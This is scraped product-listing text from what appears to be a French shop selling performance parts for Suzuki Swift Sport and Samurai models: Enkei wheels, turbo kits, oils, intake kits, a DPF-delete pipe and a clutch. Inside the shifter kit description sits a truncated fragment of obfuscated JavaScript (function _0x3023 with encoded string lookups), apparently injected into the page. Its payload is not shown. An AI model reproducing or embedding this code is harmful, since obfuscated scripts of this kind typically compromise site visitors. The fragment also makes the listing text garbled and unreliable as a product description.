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Pièces sport performance compétition pour Swift Sport ZC33S
pices performances pour Suzuki Swift sport zc33s Hybrid
Kit complet de refection des train avants Samurai 1.3
Tout metal, compatible avec les plastiques de série Livré avec tige et pommeau notice de montage inclus Mouvement plus précis et rapide! function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return...
Jeu de 4 Enkei RPF1 originale, compatible pour les 3 génénrations de Swift Sport (ZC31, ZC32, ZC33 et 33H) 6.75kg seulement grace a la technologie MAT Process d'ENKEI! Offre exceptionnelle, prix habituel 1600€
JP turbo propose ce turbo prêt a poser hautes performances pour le moteur 1.4 Turbo hybride Suzuki que vous trouvez sur la Swift Sport, le Vitara et le SX4 S-Cross. Il permet de dépasser les 200ch avec une reprogrammation moteur adaptée Produit non homologué pour la route Made in taiwan
Huile moteur 0w20 de synthèse répondant aux normes actuelles sévères de pollution et de protection des moteurs. Protection des FAP et des cataliseurs liste des homologuations ci dessous Fabriqué en Allemagne Etiquette adhésive de vidange incluse
excellente protection anti-usure excellente résistance au vieillissement excellente protection anticorrosion excellente compatibilité avec les joints pouvoir d'absorption de pression élevé réduit les forces de passage des rapports bon comportement viscosité-température vaste plage de viscosité Boîte de vitesse de Yaris GR OK
Kit turbo sur base d'un turbo de serie, montage direct sans modifications. Puissance max 180hp
Kit admission cloisonné pour Suzuki Swift 1.6 sport ZC32S. Le kit comprend notamment un filtre a air lavable haut débit cloisonné Sonorité bien nette et sportive
Kit admission cloisonné pour Suzuki Swift 1.6 sport ZC32S. Le kit comprend notamment un filtre a air lavable haut débit cloisonné Sonorité bien nette et sportive Faites rugir le moteur!
Fabriqué en Italie, a partir des meilleurs inox, ce defap permet de libérer le turbo. Il possède les supports pour le parechaleur d'origine, et aussi pour les sondes et raccords présent d'origine. Necéssite une reprogrammation moteur Non homologué, réservé à un usage compétition.
Engagement très franc, adapté aux haut régimes à répétition grâce au poids réduit de son disque Made in Japan Butée non incluse POur Suzuki 1.4T K14C couple : 350Nm Amorti.
Fabriqué en Allemagne l'aide de technologie de pointe (scanner 3d, banc de test) Finition poudrée noir haut de gamme Volume 10L contre 5 d'origine Gain en température Made in Germany